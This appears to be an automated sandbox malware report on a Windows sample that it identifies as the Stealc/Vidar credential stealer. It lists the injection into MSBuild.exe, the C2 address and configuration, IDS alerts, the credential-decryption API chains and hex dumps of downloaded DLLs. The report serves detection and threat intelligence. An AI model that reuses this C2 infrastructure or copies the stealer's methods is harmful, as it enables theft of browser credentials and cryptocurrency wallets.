Edit tour

Windows Analysis Report
CR0QGWXdDl.exe

Overview

General Information

Sample name:	CR0QGWXdDl.exe renamed because original name is a hash value
Original sample name:	ab315f59c8c2658c5d87e8125adc2678.exe
Analysis ID:	1527555
MD5:	ab315f59c8c2658c5d87e8125adc2678
SHA1:	3b641bdfe96df3a1039567bba3d8390e9308935b
SHA256:	33ec381cf58df623bc6b3879a5aea2914034d42b885a2c61aaf10f6c2ab8cae4
Tags:	32exetrojan
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

CR0QGWXdDl.exe (PID: 6780 cmdline: "C:\Users\user\Desktop\CR0QGWXdDl.exe" MD5: AB315F59C8C2658C5D87E8125ADC2678)

MSBuild.exe (PID: 6832 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6848 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6872 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 6904 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cmd.exe (PID: 7080 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGCGCFCBAKK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Threatname: Vidar

{"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2180750982.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CR0QGWXdDl.exe PID: 6780	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6904	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6904	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6904	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6904	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.CR0QGWXdDl.exe.720000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.CR0QGWXdDl.exe.74cae0.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.CR0QGWXdDl.exe.74cae0.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
4.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 46.8.231.109, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6904, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:03:05.298394+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	49731	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:03:05.289609+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49731	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:03:05.474984+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49731	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:03:05.910229+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49731	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:03:05.481909+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	49731	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:03:05.107765+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49731	46.8.231.109	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:03:06.089607+0200	2803304	3	Unknown Traffic	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:08.849509+0200	2803304	3	Unknown Traffic	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:09.668398+0200	2803304	3	Unknown Traffic	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:10.242687+0200	2803304	3	Unknown Traffic	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:10.808095+0200	2803304	3	Unknown Traffic	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:12.525030+0200	2803304	3	Unknown Traffic	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:12.904222+0200	2803304	3	Unknown Traffic	192.168.2.4	49731	46.8.231.109	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://46.8.231.109/c4754d4f680ead72.php	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	URL Reputation: Label: malware
Source: http://46.8.231.109	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	URL Reputation: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.CR0QGWXdDl.exe.74cae0.1.raw.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}
Source: 0.2.CR0QGWXdDl.exe.74cae0.1.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php", "Botnet": "default"}

Multi AV Scanner detection for domain / URL

Source: http://46.8.231.109/c4754d4f680ead72.phpD	Virustotal: Detection: 16%			Perma Link
Source: http://46.8.231.109/c4754d4f680ead72.phpF	Virustotal: Detection: 17%			Perma Link

Multi AV Scanner detection for submitted file

Source: CR0QGWXdDl.exe

Virustotal: Detection: 41%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: CR0QGWXdDl.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	4_2_00409B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	4_2_0040C820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	4_2_00407240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	4_2_00409AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	4_2_00418EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBD6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	4_2_6CBD6C80

Source: CR0QGWXdDl.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: CR0QGWXdDl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.4.dr, softokn3.dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.4.dr, vcruntime140[1].dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.4.dr, msvcp140.dll.4.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000004.00000002.2204460615.000000006CDFF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.4.dr, softokn3.dll.4.dr

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_0073980F FindFirstFileExW,	0_2_0073980F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	4_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	4_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	4_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	4_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	4_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	4_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	4_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0040DE10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49731 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49731 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.4:49731
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49731 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.4:49731
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49731 -> 46.8.231.109:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:03:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 01:03:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 